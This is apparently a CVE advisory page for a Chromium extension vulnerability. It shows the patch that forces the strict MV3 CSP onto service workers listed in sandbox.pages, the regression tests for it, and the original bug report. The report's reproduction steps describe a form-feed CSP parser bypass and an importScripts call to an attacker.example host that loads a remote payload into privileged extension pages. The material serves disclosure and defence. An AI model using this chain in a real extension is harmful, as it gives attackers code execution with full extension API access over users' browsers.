CVE-2026-11062
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fextensions/common/manifest_handlers/csp_info_unittest.cc |
modified |
Files Changed
chrome/browser/extensions/content_security_policy_apitest.ccchrome/renderer/chrome_content_renderer_client.ccextensions/common/csp_validator_unittest.ccextensions/common/manifest_handlers/csp_info.ccextensions/common/manifest_handlers/csp_info.hextensions/common/manifest_handlers/csp_info_unittest.cc
Patch
From a0b84513de55d6ab3c4f37979fb73a5162f8b9bf Mon Sep 17 00:00:00 2001 From: Mike West <[email protected]> Date: Fri, 10 Apr 2026 03:55:47 -0700 Subject: [PATCH] [Extensions] Harden CSP enforcement for sandboxed service workers. The interaction between `sandbox.pages` and an extension's service worker created the potential for a weaker-than-expected CSP to be applied in the service worker's context. This change enforces the minimum CSP for the service worker regardless of its presence in the list of sandboxed pages. Bug: 499033012 Change-Id: I7c456524a8f677f4748f379747892dbb0dca5646 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7735708 Reviewed-by: Finnur Thorarinsson <[email protected]> Commit-Queue: Mike West <[email protected]> Cr-Commit-Position: refs/heads/main@{#1612747} --- diff --git a/chrome/browser/extensions/content_security_policy_apitest.cc b/chrome/browser/extensions/content_security_policy_apitest.cc index ac7afac9..6952b31 100644 --- a/chrome/browser/extensions/content_security_policy_apitest.cc +++ b/chrome/browser/extensions/content_security_policy_apitest.cc @@ -251,4 +251,39 @@ << message_; } +// Verifies that a service worker that is listed in sandbox.pages is still +// subject to the strict MV3 CSP. +IN_PROC_BROWSER_TEST_F(ExtensionCspApiTest, + ServiceWorkerIsConstrainedByMV3CSPEvenIfSandboxed) { + static constexpr char kManifest[] = + R"({ + "name": "Sandboxed Service Worker", + "manifest_version": 3, + "version": "0.1", + "background": {"service_worker": "sw.js"}, + "content_security_policy": { + "sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-eval';" + }, + "sandbox": { "pages": ["sw.js"] } + })"; + // The service worker attempts to use eval(), which is allowed by the + // sandbox CSP but disallowed by the strict MV3 extension CSP. + static constexpr char kServiceWorkerJs[] = + R"(chrome.test.runTests([ + function testEvalIsDisallowed() { + try { + eval('1 + 1'); + chrome.test.fail('eval() should have been disallowed by CSP.'); + } catch (e) { + chrome.test.succeed(); + } + }]);)"; + + TestExtensionDir test_dir; + test_dir.WriteManifest(kManifest); + test_dir.WriteFile(FILE_PATH_LITERAL("sw.js"), kServiceWorkerJs); + + ASSERT_TRUE(RunExtensionTest(test_dir.UnpackedPath(), {}, {})) << message_; +} + } // namespace extensions diff --git a/chrome/renderer/chrome_content_renderer_client.cc b/chrome/renderer/chrome_content_renderer_client.cc index bc413ac..fcdc6a9 100644 --- a/chrome/renderer/chrome_content_renderer_client.cc +++ b/chrome/renderer/chrome_content_renderer_client.cc @@ -136,6 +136,7 @@ #include "content/public/common/webplugininfo.h" #include "content/public/renderer/render_frame.h" #include "content/public/renderer/render_frame_visitor.h" +#include "content/public/renderer/worker_thread.h" #include "extensions/buildflags/buildflags.h" #include "extensions/renderer/extensions_renderer_api_provider.h" #include "media/base/media_switches.h" @@ -1623,8 +1624,9 @@ // Append a minimum CSP to ensure the extension can't relax the default // applied CSP through means like Service Worker. - const std::string* default_csp = - extensions::CSPInfo::GetMinimumCSPToAppend(*extension, gurl.GetPath()); + const std::string* default_csp = extensions::CSPInfo::GetMinimumCSPToAppend( + *extension, gurl.GetPath(), + /*is_service_worker=*/content::WorkerThread::GetCurrentId() != 0); if (!default_csp) return; diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc index 15c3499..5323bf57 100644 --- a/extensions/common/csp_validator_unittest.cc +++ b/extensions/common/csp_validator_unittest.cc @@ -464,6 +464,12 @@ // ... even if obscured. EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\fa", Manifest::Type::kExtension)); + EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin", + Manifest::Type::kExtension)); + EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\f", + Manifest::Type::kExtension)); + EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin\f", + Manifest::Type::kExtension)); // Additional directives are OK. EXPECT_TRUE(ContentSecurityPolicyIsSandboxed( diff --git a/extensions/common/manifest_handlers/csp_info.cc b/extensions/common/manifest_handlers/csp_info.cc index dc2a682..ddef73f0 100644 --- a/extensions/common/manifest_handlers/csp_info.cc +++ b/extensions/common/manifest_handlers/csp_info.cc @@ -179,7 +179,8 @@ // static const std::string* CSPInfo::GetMinimumCSPToAppend( const Extension& extension, - const std::string& relative_path) { + const std::string& relative_path, + bool is_service_worker) { if (!extension.is_extension()) { return nullptr; } @@ -187,7 +188,10 @@ // For sandboxed pages and manifest V2 extensions, append the parsed CSP. This // helps ensure that extension's can't get around our parsing rules by CSP // modifications through, say service workers. - if (SandboxedPageInfo::IsSandboxedPage(&extension, relative_path)) { + // We ignore the sandboxed page CSP for service workers, since they should + // always be subject to the stricter extension CSP. + if (!is_service_worker && + SandboxedPageInfo::IsSandboxedPage(&extension, relative_path)) { return &GetSandboxContentSecurityPolicy(&extension); } diff --git a/extensions/common/manifest_handlers/csp_info.h b/extensions/common/manifest_handlers/csp_info.h index 4fd504b..3fcb15d 100644 --- a/extensions/common/manifest_handlers/csp_info.h +++ b/extensions/common/manifest_handlers/csp_info.h @@ -38,10 +38,12 @@ static const std::string& GetExtensionPagesCSP(const Extension* extension); // Returns the minimum CSP (if any) to append for the `extension`'s resource - // at the given `relative_path`. + // at the given `relative_path`. `is_service_worker` should be true if the + // resource is being loaded as a service worker. static const std::string* GetMinimumCSPToAppend( const Extension& extension, - const std::string& relative_path); + const std::string& relative_path, + bool is_service_worker); // Returns the Content Security Policy to be used for extension isolated // worlds or nullopt if there is no defined CSP. diff --git a/extensions/common/manifest_handlers/csp_info_unittest.cc b/extensions/common/manifest_handlers/csp_info_unittest.cc index cf9330be..0328254 100644 --- a/extensions/common/manifest_handlers/csp_info_unittest.cc +++ b/extensions/common/manifest_handlers/csp_info_unittest.cc @@ -14,6 +14,7 @@ #include "extensions/common/extension_features.h" #include "extensions/common/features/feature_channel.h" #include "extensions/common/manifest_constants.h" +#include "extensions/common/manifest_handlers/sandboxed_page_info.h" #include "extensions/common/manifest_test.h" namespace extensions { @@ -389,9 +390,9 @@ EXPECT_EQ(kDefaultSecureCSP, CSPInfo::GetExtensionPagesCSP(extension.get())); - EXPECT_EQ( - CSPHandler::GetMinimumMV3CSPForTesting(), - *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html")); + EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(), + *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html", + /*is_service_worker=*/false)); } // Repeat the test, loading the extensions as unpacked extensions. @@ -417,9 +418,9 @@ EXPECT_EQ(kDefaultSecureCSP, CSPInfo::GetExtensionPagesCSP(extension.get())); - EXPECT_EQ( - CSPHandler::GetMinimumUnpackedMV3CSPForTesting(), - *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html")); + EXPECT_EQ(CSPHandler::GetMinimumUnpackedMV3CSPForTesting(), + *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html", + /*is_service_worker=*/false)); } } @@ -429,4 +430,77 @@ GetInvalidManifestKeyError(keys::kContentSecurityPolicy)); } +// Ensure that service workers ignore the sandbox.pages CSP and instead use the +// stricter extension CSP. +TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnored) { + scoped_refptr<Extension> extension = + LoadAndExpectSuccess("sandboxed_pages_valid_1.json"); + ASSERT_TRUE(extension); + + static constexpr char kSandboxedPath[] = "/test"; + ASSERT_TRUE(
Regression Test / PoC
diff --git a/chrome/browser/extensions/content_security_policy_apitest.cc b/chrome/browser/extensions/content_security_policy_apitest.cc
index ac7afac9..6952b31 100644
--- a/chrome/browser/extensions/content_security_policy_apitest.cc
+++ b/chrome/browser/extensions/content_security_policy_apitest.cc
@@ -251,4 +251,39 @@
<< message_;
}
+// Verifies that a service worker that is listed in sandbox.pages is still
+// subject to the strict MV3 CSP.
+IN_PROC_BROWSER_TEST_F(ExtensionCspApiTest,
+ ServiceWorkerIsConstrainedByMV3CSPEvenIfSandboxed) {
+ static constexpr char kManifest[] =
+ R"({
+ "name": "Sandboxed Service Worker",
+ "manifest_version": 3,
+ "version": "0.1",
+ "background": {"service_worker": "sw.js"},
+ "content_security_policy": {
+ "sandbox": "sandbox allow-scripts; script-src 'self' 'unsafe-eval';"
+ },
+ "sandbox": { "pages": ["sw.js"] }
+ })";
+ // The service worker attempts to use eval(), which is allowed by the
+ // sandbox CSP but disallowed by the strict MV3 extension CSP.
+ static constexpr char kServiceWorkerJs[] =
+ R"(chrome.test.runTests([
+ function testEvalIsDisallowed() {
+ try {
+ eval('1 + 1');
+ chrome.test.fail('eval() should have been disallowed by CSP.');
+ } catch (e) {
+ chrome.test.succeed();
+ }
+ }]);)";
+
+ TestExtensionDir test_dir;
+ test_dir.WriteManifest(kManifest);
+ test_dir.WriteFile(FILE_PATH_LITERAL("sw.js"), kServiceWorkerJs);
+
+ ASSERT_TRUE(RunExtensionTest(test_dir.UnpackedPath(), {}, {})) << message_;
+}
+
} // namespace extensions
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index 15c3499..5323bf57 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -464,6 +464,12 @@
// ... even if obscured.
EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\fa",
Manifest::Type::kExtension));
+ EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin",
+ Manifest::Type::kExtension));
+ EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox allow-same-origin\f",
+ Manifest::Type::kExtension));
+ EXPECT_FALSE(ContentSecurityPolicyIsSandboxed("sandbox \fallow-same-origin\f",
+ Manifest::Type::kExtension));
// Additional directives are OK.
EXPECT_TRUE(ContentSecurityPolicyIsSandboxed(
diff --git a/extensions/common/manifest_handlers/csp_info_unittest.cc b/extensions/common/manifest_handlers/csp_info_unittest.cc
index cf9330be..0328254 100644
--- a/extensions/common/manifest_handlers/csp_info_unittest.cc
+++ b/extensions/common/manifest_handlers/csp_info_unittest.cc
@@ -14,6 +14,7 @@
#include "extensions/common/extension_features.h"
#include "extensions/common/features/feature_channel.h"
#include "extensions/common/manifest_constants.h"
+#include "extensions/common/manifest_handlers/sandboxed_page_info.h"
#include "extensions/common/manifest_test.h"
namespace extensions {
@@ -389,9 +390,9 @@
EXPECT_EQ(kDefaultSecureCSP,
CSPInfo::GetExtensionPagesCSP(extension.get()));
- EXPECT_EQ(
- CSPHandler::GetMinimumMV3CSPForTesting(),
- *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+ EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+ *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+ /*is_service_worker=*/false));
}
// Repeat the test, loading the extensions as unpacked extensions.
@@ -417,9 +418,9 @@
EXPECT_EQ(kDefaultSecureCSP,
CSPInfo::GetExtensionPagesCSP(extension.get()));
- EXPECT_EQ(
- CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
- *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html"));
+ EXPECT_EQ(CSPHandler::GetMinimumUnpackedMV3CSPForTesting(),
+ *CSPInfo::GetMinimumCSPToAppend(*extension, "not_sandboxed.html",
+ /*is_service_worker=*/false));
}
}
@@ -429,4 +430,77 @@
GetInvalidManifestKeyError(keys::kContentSecurityPolicy));
}
+// Ensure that service workers ignore the sandbox.pages CSP and instead use the
+// stricter extension CSP.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnored) {
+ scoped_refptr<Extension> extension =
+ LoadAndExpectSuccess("sandboxed_pages_valid_1.json");
+ ASSERT_TRUE(extension);
+
+ static constexpr char kSandboxedPath[] = "/test";
+ ASSERT_TRUE(
+ SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+ // If not a service worker, the sandboxed page CSP should be returned.
+ EXPECT_EQ(kDefaultSandboxedPageCSP,
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/false));
+
+ // If a service worker, the extension pages CSP should be returned (even if
+ // the path is sandboxed). For MV2, this is the default extension pages CSP.
+ EXPECT_EQ(kDefaultExtensionPagesCSP,
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/true));
+}
+
+// Ensure that MV3 service workers ignore the sandbox.pages CSP even if they are
+// explicitly listed there.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnoredMV3) {
+ scoped_refptr<Extension> extension =
+ LoadAndExpectSuccess("sandboxed_sw_mv3.json");
+ ASSERT_TRUE(extension);
+
+ static constexpr char kSandboxedPath[] = "/sw.js";
+ ASSERT_TRUE(
+ SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+ // If not a service worker, the sandboxed page CSP should be returned.
+ EXPECT_EQ(kDefaultSandboxedPageCSP,
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/false));
+
+ // If a service worker, the extension pages CSP should be returned (even if
+ // the path is sandboxed).
+ EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/true));
+}
+
+// Ensure that even with a custom sandbox CSP (which may be insecure), the
+// service worker still gets the strict MV3 CSP.
+TEST_F(CSPInfoUnitTest, ServiceWorkerSandboxIgnoredWithCustomCSP) {
+ scoped_refptr<Extension> extension =
+ LoadAndExpectSuccess("sandboxed_sw_mv3_with_csp.json");
+ ASSERT_TRUE(extension);
+
+ static constexpr char kSandboxedPath[] = "/sw.js";
+ ASSERT_TRUE(
+ SandboxedPageInfo::IsSandboxedPage(extension.get(), kSandboxedPath));
+
+ // If not a service worker, the sandboxed page CSP should be returned.
+ // Note: kDefaultSandboxedPageCSP is not used here because we provided a
+ // custom one.
+ const std::string& custom_sandbox_csp =
+ CSPInfo::GetSandboxContentSecurityPolicy(extension.get());
+ EXPECT_EQ(custom_sandbox_csp,
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/false));
+
+ // If a service worker, the extension pages CSP should be returned (even if
+ // the path is sandboxed).
+ EXPECT_EQ(CSPHandler::GetMinimumMV3CSPForTesting(),
+ *CSPInfo::GetMinimumCSPToAppend(*extension, kSandboxedPath,
+ /*is_service_worker=*/true));
+}
+
} // namespace extensions
diff --git a/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json b/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json
new file mode 100644
index 0000000..bab1dc1
--- /dev/null
+++ b/extensions/test/data/manifest_tests/sandboxed_sw_mv3.json
@@ -0,0 +1,11 @@
+{
+ "name": "Sandboxed Service Worker MV3",
+ "version": "0.1",
+ "manifest_version": 3,
+ "background": {
+ "service_worker": "sw.js"
+ },
+ "sandbox": {
+ "pages": ["sw.js"]
+ }
+}
diff --git a/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json b/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json
new file mode 100644
index 0000000..f5579c9
--- /dev/null
+++ b/extensions/test/data/manifest_tests/sandboxed_sw_mv3_with_csp.json
@@ -0,0 +1,14 @@
+{
+ "name": "Sandboxed Service Worker MV3 with CSP",
+ "version": "0.1",
+ "manifest_version": 3,
+ "background": {
+ "service_worker": "sw.js"
+ },
+ "content_security_policy": {
+ "sandbox": "sandbox allow-scripts; script-src 'self' https://example.com; child-src 'self';"
+ },
+ "sandbox": {
+ "pages": ["sw.js"]
+ }
+}
Original Bug Report
MV3 RCE via CSP Parser Differential and SW Sandbox Confusion
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: A parser differential between the extension manifest validator and Blink allows sandboxed pages to retain the extension origin using the form-feed character. By registering a Service Worker listed in sandbox.pages, the worker inherits a relaxed sandbox CSP instead of the strict MV3 default. This allows the Service Worker to fetch remote code and intercept privileged extension pages, potentially bypassing MV3 remote code restrictions.
Affected files:
extensions/common/manifest_handlers/csp_info.ccextensions/common/csp_validator.ccextensions/common/manifest_handlers/sandboxed_page_info.cc
Estimated timestamp from git blame: 2025-03-06
Vulnerability Conclusion: A malicious Manifest V3 extension can potentially achieve arbitrary remote code execution within a privileged extension context by chaining a CSP whitespace parsing differential with a Service Worker sandbox path confusion bug.
Technical Context & Analysis: Initial logic and parameters are validated across two core components: the extension CSP validator and the Service Worker registration pipeline.
- CSP Parser Differential: In
extensions/common/csp_validator.cc,kWhitespaceDelimitersis defined as" \t\r\n", omitting the form-feed character (\f/0x0C). Conversely, Blink’s network CSP parser (services/network/public/cpp/web_sandbox_flags.cc) correctly uses" \n\t\r\f". An attacker can supply a sandbox CSP token likeallow-same-origin\fx. The manifest validator fails to recognize this asallow-same-originand permits installation. Blink parses it correctly, allowing a sandboxed page (e.g.,sandbox.html) to avoid opaquification and retain the highly-privilegedchrome-extension://[id]/origin. - Service Worker Sandbox Confusion:
extensions::CSPInfo::GetMinimumCSPToAppenddictates the minimum secure CSP for extension resources. If a requested path is listed in the manifest’ssandbox.pages, it returns the user-controlled sandbox CSP instead of the strict MV3 baseline. In MV3, sandbox CSPs are explicitly allowed to contain remote sources.
The Transformation Leap:
Because sandbox.html retains the extension’s origin, it is permitted to register a Service Worker at the root scope (/sw.js). By including sw.js in sandbox.pages, the Service Worker boots with the attacker’s remote-enabled sandbox CSP. The worker directly executes importScripts('https://attacker.example/payload.js'). This active Service Worker then intercepts fetches for standard extension pages (like popup.html), serving the remote payload directly into a mojom::ContextType::kPrivilegedExtension context, completely bypassing MV3 guarantees.
Potential Reproduction Steps: (Note: These are suggested/potential steps to trigger the vulnerability; our tooling agent does not currently have the ability to run code to provide a functional PoC).
- Create an MV3 extension with the following in
manifest.json:"sandbox": {"pages": ["sandbox.html", "sw.js"]}- A custom CSP:
sandbox allow-scripts allow-same-origin\fx; script-src 'self' 'unsafe-inline' https://attacker.example;
- Open
sandbox.html, which will executenavigator.serviceWorker.register('/sw.js'). - Inside
sw.js, executeimportScripts('https://attacker.example/payload.js')to fetch the remote payload. - The remote payload registers a
fetchevent listener to intercept requests forpopup.htmland respond with malicious HTML/JS. - Open
popup.html. The injected code will execute with full access tochrome.*APIs.
Suggested Fix:
- Patch the Parser Differential: Update
kWhitespaceDelimitersinextensions/common/csp_validator.ccto include the form-feed character (\f), aligning it withkHtmlWhitespaceand the W3C spec. - Enforce SW CSP: Modify
extensions::CSPInfo::GetMinimumCSPToAppendandChromeContentRendererClient::AppendContentSecurityPolicyto strictly enforce the minimum MV3 CSP for any script instantiated as a Service Worker, explicitly ignoringsandbox.pagesinclusions for worker contexts.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.